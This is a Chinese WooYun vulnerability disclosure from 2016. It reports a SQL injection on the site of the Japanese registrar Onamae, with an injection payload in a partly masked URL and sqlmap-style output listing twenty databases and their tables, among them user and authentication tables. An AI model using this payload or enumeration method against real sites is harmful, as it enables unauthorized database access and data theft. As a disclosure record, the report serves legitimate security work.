当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176684

漏洞标题:日本最大域名注册商Onamae主站sql注入漏洞(较鸡肋)

相关厂商:Onamae

漏洞作者: 撸撸侠

提交时间:2016-02-18 13:55

修复时间:2016-02-23 14:00

公开时间:2016-02-23 14:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(日本国家互联网应急中心(JPCERT/CC))处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-18: 细节已通知厂商并且等待厂商处理中
2016-02-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

日本最大域名注册商主站sql注入漏洞(较鸡肋)

详细说明:

http://**.**.**.**/guide/details.php?g=10%20AND%201=1--&btn_id=d-regist_20151022_B_menu_flow

漏洞证明:

available databases [20]:
[*] domainMitsumori_db
[*] gmobbguide_db
[*] hpcollege_db
[*] information_schema
[*] mobileserverguide_db
[*] newstool_db
[*] newtld_support_db
[*] onamae_akb48_db
[*] onamae_backorder_db
[*] onamae_domainlist_db
[*] onamae_ske48_db
[*] onamaesupport_db
[*] recruit_db
[*] sdguide_db
[*] servernaviguide_db
[*] troubleinfo_db
[*] uriage_up
[*] vpsguide_db
[*] vpskvmguide_db
[*] windesktopguide_db
gmobbguide_db
+------------------+---------+
| Table | Entries |
+------------------+---------+
| guide_contents | 724 |
| news | 252 |
| category3 | 212 |
| category2 | 43 |
| user_info | 15 |
| idols | 7 |
| reference | 6 |
| reference_shinki | 5 |
| upload_list | 5 |
| category1 | 4 |
| purpose_category | 3 |
| user_auth | 3 |

Database: newstool_db                                                                                                  
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| product | 18 |
| user_info | 10 |
| onamae_news | 6 |
| user_auth | 4 |
| kantan_news | 3 |
| onamaeserver_news | 3 |
| bizinterq_news | 2 |
| membersinterq_news | 2 |
| rensaba_news | 2 |
| zero_news | 2 |
| `3web_news` | 1 |
| bbplus_news | 1 |
| bekkoame_news | 1 |
| cloudgmo_news | 1 |
| dokolan_news | 1 |
| ekakumei_news | 1 |
| marugoto_news | 1 |
| onamaedesktop_news | 1 |
| onamaekeitai_news | 1 |
+---------------------------------------+---------+
Database: hpcollege_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| kouza_kaisetsu | 453 |
| pickup_content | 342 |
| information | 242 |
| pickup | 170 |
| mametest_answer | 160 |
| period_week | 151 |
| glossary | 124 |
| mametest | 80 |
| kouza_manga | 77 |
| kouza_naruhodo | 74 |
| period_month | 38 |
| states | 30 |
| kouza_category | 15 |
| kouza_person | 14 |
| pickup_category | 13 |
| glossary_category | 12 |
| service | 12 |
| manga_series | 10 |
| ranking_manga | 10 |
| ranking_naruhodo | 10 |
| information_category | 9 |
| user_info | 6 |
| pickup_person | 4 |
| shuzai | 4 |
| `user` | 2 |
| flags | 2 |
| point | 2 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: windesktopguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 39 |
| category3 | 23 |
| category2 | 18 |
| user_info | 15 |
| reference | 5 |
| category1 | 4 |
| purpose_category | 3 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: sdguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 166 |
| category3 | 84 |
| category2 | 33 |
| user_info | 20 |
| category1 | 5 |
| purpose_category | 5 |
| reference | 5 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: uriage_up
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| member | 2943 |
| interview_block | 620 |
| column_block | 465 |
| relation_info | 252 |
| password_forgot | 149 |
| push_info | 141 |
| interview | 120 |
| ss_block | 115 |
| `column` | 87 |
| interview_profile | 53 |
| information | 49 |
| what_new | 45 |
| interview_index | 44 |
| mailmagazine_backnumber | 37 |
| interview_taidan_block | 34 |
| shopfaq | 34 |
| knowhow | 32 |
| useful | 27 |
| banner_info | 24 |
| ss | 23 |
| ranking | 19 |
| pr_info | 17 |
| user_info | 14 |
| help_question | 13 |
| content_type | 6 |
| interview_taidan | 6 |
| shopfaq_category | 5 |
| shopfaq_ranking | 5 |
| ss_index | 5 |
| useful_category | 5 |
| knowhow_category | 4 |
| ss_index_image | 3 |
| user_auth | 3 |
| interview_type | 2 |
| interview_taidan_member | 1 |
+---------------------------------------+---------+
Database: onamaesupport_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 71 |
| category3 | 23 |
| category2 | 17 |
| user_info | 10 |
| category1 | 5 |
| user_auth | 3 |
+---------------------------------------+---------+
Database: onamae_domainlist_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| `domain` | 475 |
| domain_old | 219 |
| userInfo | 17 |
| category | 3 |
| charge | 2 |
+---------------------------------------+---------+
Database: servernaviguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 35 |
| user_info | 12 |
| reference | 10 |
| category1 | 9 |
| category2 | 9 |
| category3 | 9 |
| purpose_category | 3 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: domainMitsumori_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| pdf | 591 |
| project | 513 |
| pdf_test | 122 |
| project_test | 37 |
+---------------------------------------+---------+
Database: onamae_ske48_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| comment | 544 |
| `user` | 460 |
| application | 388 |
| comment_test | 127 |
| application_test | 39 |
| user_test | 9 |
+---------------------------------------+---------+
Database: onamae_akb48_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| snpdeletinglist | 385100 |
| domain_landrush_list | 36951 |
| domain_search_list | 31597 |
| domain_landrush_list_test | 25160 |
| ranking_set_table | 21896 |
| domain_ranking | 6818 |
| user_table | 3107 |
| ranking_member_table_test | 2773 |
| ranking_member_table | 2760 |
| lovelive_clearfile_entry | 1883 |
| present4k | 627 |
| domain_search_list_test | 608 |
| domain_regist_list | 597 |
| mail_outflow | 572 |
| ranking_set_table_test | 468 |
| group_table | 314 |
| member_table | 296 |
| member_table_test | 296 |
| domain_ranking_test | 258 |
| history_table | 254 |
| history_table_test | 254 |
| lovelive_clearfile_entry_test | 142 |
| lovelive_tokyo_clearfile_entry | 136 |
| user_table_test | 42 |
| domain_regist_list_test | 17 |
| lovelive_tokyo_clearfile_entry_test | 11 |
| lovelive_clearfile_list | 9 |
| lovelive_clearfile_list_test | 9 |
| domain_denyword_list_test | 3 |
| domain_denyhost_list_test | 2 |
| domain_denyword_list | 2 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 2626 |
| GLOBAL_STATUS | 291 |
| SESSION_STATUS | 291 |
| GLOBAL_VARIABLES | 269 |
| SESSION_VARIABLES | 269 |
| PARTITIONS | 244 |
| TABLES | 244 |
| STATISTICS | 229 |
| KEY_COLUMN_USAGE | 215 |
| TABLE_CONSTRAINTS | 215 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 128 |
| COLLATIONS | 127 |
| SCHEMA_PRIVILEGES | 62 |
| CHARACTER_SETS | 36 |
| SCHEMATA | 20 |
| PLUGINS | 10 |
| ENGINES | 8 |
| PROCESSLIST | 2 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+
Database: mobileserverguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 81 |
| category3 | 71 |
| category2 | 14 |
| user_info | 12 |
| reference | 5 |
| category1 | 3 |
| purpose_category | 3 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: gmobbguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 724 |
| news | 252 |
| category3 | 212 |
| category2 | 43 |
| user_info | 15 |
| idols | 7 |
| reference | 6 |
| reference_shinki | 5 |
| upload_list | 5 |
| category1 | 4 |
| purpose_category | 3 |
| user_auth | 3 |
+---------------------------------------+---------+
Database: vpskvmguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 80 |
| user_info | 13 |
| category3 | 12 |
| category2 | 10 |
| reference | 10 |
| category1 | 3 |
| purpose_category | 3 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: onamae_backorder_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| snpdeletinglist | 399600 |
+---------------------------------------+---------+
Database: troubleinfo_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| center_test | 964 |
| fortune_log | 819 |
| fortune_unlucky | 813 |
| fortune_lucky | 744 |
| fortune_saying | 341 |
| fortune_level | 5 |
| onamae_server | 3 |
| onamae_domain | 2 |
| upd_password | 1 |
+---------------------------------------+---------+
Database: recruit_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| news | 6 |
| category1 | 3 |
| category2 | 3 |
| user_info | 3 |
| user_auth | 2 |
+---------------------------------------+---------+
Database: newtld_support_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| support | 257 |
| user_info | 3 |
| status | 2 |
| product | 1 |
+---------------------------------------+---------+
Database: vpsguide_db
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| guide_contents | 156 |
| category3 | 90 |
| category2 | 35 |
| reference | 15 |
| user_info | 15 |
| category1 | 6 |
| purpose_category | 6 |
| user_auth | 2 |
+---------------------------------------+---------+

修复方案:

版权声明:转载请注明来源 撸撸侠@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-23 14:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无